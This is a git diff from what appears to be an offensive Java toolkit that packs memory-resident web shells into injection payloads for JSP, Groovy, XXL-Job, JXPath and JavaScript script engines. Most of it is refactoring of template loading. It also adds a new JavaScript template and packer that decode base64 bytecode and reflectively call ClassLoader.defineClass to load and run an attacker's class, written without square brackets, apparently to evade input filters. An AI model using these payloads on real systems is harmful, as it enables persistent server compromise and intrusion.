diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index cd75bbab..008d5717 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -113,6 +113,7 @@ public enum Packers { Aviator(new AviatorPacker()), JXPath(new JXPathPacker()), + JXPathScriptEngine(new JXPathScriptEnginePacker(), JXPathPacker.class), JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class), JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Util.java b/packer/src/main/java/com/reajason/javaweb/packer/Util.java new file mode 100644 index 00000000..eddac86e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/Util.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer; + +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.io.InputStream; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/9/1 + */ +public class Util { + + @SneakyThrows + public static String loadTemplateFromResource(String resourceName) { + try (InputStream stream = Util.class.getResourceAsStream(resourceName)) { + return IOUtils.toString(Objects.requireNonNull(stream), Charset.defaultCharset()); + } + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java index ee9d4ca6..9985f7b3 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java @@ -16,15 +16,8 @@ import java.util.Objects; * @since 2025/1/21 */ public class XxlJobPacker implements Packer { - String template = ""; - - public XxlJobPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java"); + private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT); @Override @SneakyThrows @@ -44,8 +37,6 @@ public class XxlJobPacker implements Packer { map.put("glueUpdatetime", System.currentTimeMillis()); map.put("broadcastIndex", 0); map.put("broadcastTotal", 0); - ObjectMapper objectMapper = new ObjectMapper(); - objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出 return objectMapper.writeValueAsString(map); } } \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java index 687f21ac..88bcdaa2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java @@ -2,27 +2,15 @@ package com.reajason.javaweb.packer.groovy; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Objects; /** * @author ReaJason * @since 2025/5/11 */ public class GroovyClassDefinerPacker implements Packer { - String template = null; - - public GroovyClassDefinerPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + private final String template = Util.loadTemplateFromResource("/memshell-party/shell.groovy"); @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java index c215ea7b..c9a3efb8 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -14,15 +15,7 @@ import java.util.Objects; */ public class ClassLoaderJspPacker implements Packer { - String jspTemplate = null; - - public ClassLoaderJspPacker() { - try { - jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); - } catch (Exception ignored) { - - } - } + private final String jspTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jsp"); @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java index a3458508..b9ffbe3c 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java @@ -2,11 +2,8 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.nio.charset.Charset; -import java.util.Objects; /** * @author ReaJason @@ -14,17 +11,8 @@ import java.util.Objects; */ public class DefineClassJspPacker implements Packer { - String template = null; - String bypassTemplate = null; - - public DefineClassJspPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset()); - bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset()); - } catch (Exception ignored) { - - } - } + private final String template = Util.loadTemplateFromResource("/memshell-party/shell1.jsp"); + private final String bypassTemplate = Util.loadTemplateFromResource("/memshell-party/shell2.jsp"); @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java index b628fc4d..c74de657 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -14,15 +15,7 @@ import java.util.Objects; */ public class JspxPacker implements Packer { - String jspxTemplate = null; - - public JspxPacker() { - try { - jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset()); - } catch (Exception ignored) { - - } - } + private final String jspxTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jspx"); @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java index 155b085c..0f0e5604 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java @@ -2,31 +2,22 @@ package com.reajason.javaweb.packer.scriptengine; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Objects; public class DefaultScriptEnginePacker implements Packer { - String jsTemplate = null; - - public DefaultScriptEnginePacker() { - try { - jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/DefaultScriptEngine.js")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js"); @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return jsTemplate + return scriptToSingleLine(jsTemplate .replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", config.getClassBytesBase64Str()) - .replace("\n", "") + .replace("{{base64Str}}", config.getClassBytesBase64Str())); + } + + public static String scriptToSingleLine(String script) { + return script.replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") .replaceAll("[ \t]{2,}", " "); } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java index 3c2ad6a9..eb20291f 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java @@ -3,32 +3,19 @@ package com.reajason.javaweb.packer.scriptengine; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Objects; +import static com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker.scriptToSingleLine; public class ScriptEngineBigIntegerPacker implements Packer { - String jsTemplate = null; - - public ScriptEngineBigIntegerPacker() { - try { - jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ScriptEngineBigInteger.js")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBigInteger.js"); @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return jsTemplate + return scriptToSingleLine(jsTemplate .replace("{{className}}", config.getClassName()) - .replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config)) - .replace("\n", "") - .replaceAll("(?m)^[ \t]+|[ \t]+$", "") - .replaceAll("[ \t]{2,}", " "); + .replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config))); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineNoSquareBracketsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineNoSquareBracketsPacker.java new file mode 100644 index 00000000..f6808e09 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineNoSquareBracketsPacker.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.packer.scriptengine; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; +import lombok.SneakyThrows; + +public class ScriptEngineNoSquareBracketsPacker implements Packer { + private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineNoSquareBrackets.js"); + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return scriptToSingleLine(jsTemplate + .replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str())); + } + + public static String scriptToSingleLine(String script) { + return script.replace("\n", "") + .replaceAll("(?m)^[ \t]+|[ \t]+$", "") + .replaceAll("[ \t]{2,}", " "); + } +} diff --git a/packer/src/main/resources/DefaultScriptEngine.js b/packer/src/main/resources/memshell-party/ScriptEngine.js similarity index 100% rename from packer/src/main/resources/DefaultScriptEngine.js rename to packer/src/main/resources/memshell-party/ScriptEngine.js diff --git a/packer/src/main/resources/ScriptEngineBigInteger.js b/packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js similarity index 100% rename from packer/src/main/resources/ScriptEngineBigInteger.js rename to packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js diff --git a/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js b/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js new file mode 100644 index 00000000..bf2c05de --- /dev/null +++ b/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js @@ -0,0 +1,22 @@ +var base64Str = "{{base64Str}}"; +var className = "{{className}}"; +var clsString = java.lang.Class.forName("java.lang.String"); +var bytecode; +try { + var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str); +} catch (ee) { + var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); + bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str); +} +var clsByteArray = (new java.lang.String("").getBytes().getClass()); +var clsInt = java.lang.Integer.TYPE; +var pTypes = java.lang.reflect.Array.newInstance(java.lang.Class.class, 4); +java.lang.reflect.Array.set(pTypes, 0, clsString); +java.lang.reflect.Array.set(pTypes, 1, clsByteArray); +java.lang.reflect.Array.set(pTypes, 2, clsInt); +java.lang.reflect.Array.set(pTypes, 3, clsInt); +var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", pTypes); +defineClass.setAccessible(true); +var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +clazz.newInstance(); \ No newline at end of file diff --git a/packer/src/main/resources/XXL-Job-DefineClass.java b/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java similarity index 100% rename from packer/src/main/resources/XXL-Job-DefineClass.java rename to packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java diff --git a/packer/src/main/resources/shell.groovy b/packer/src/main/resources/memshell-party/shell.groovy similarity index 100% rename from packer/src/main/resources/shell.groovy rename to packer/src/main/resources/memshell-party/shell.groovy diff --git a/packer/src/main/resources/shell.jsp b/packer/src/main/resources/memshell-party/shell.jsp similarity index 100% rename from packer/src/main/resources/shell.jsp rename to packer/src/main/resources/memshell-party/shell.jsp diff --git a/packer/src/main/resources/shell.jspx b/packer/src/main/resources/memshell-party/shell.jspx similarity index 100% rename from packer/src/main/resources/shell.jspx rename to packer/src/main/resources/memshell-party/shell.jspx diff --git a/packer/src/main/resources/shell1.jsp b/packer/src/main/resources/memshell-party/shell1.jsp similarity index 100% rename from packer/src/main/resources/shell1.jsp rename to packer/src/main/resources/memshell-party/shell1.jsp diff --git a/packer/src/main/resources/shell2.jsp b/packer/src/main/resources/memshell-party/shell2.jsp similarity index 100% rename from packer/src/main/resources/shell2.jsp rename to packer/src/main/resources/memshell-party/shell2.jsp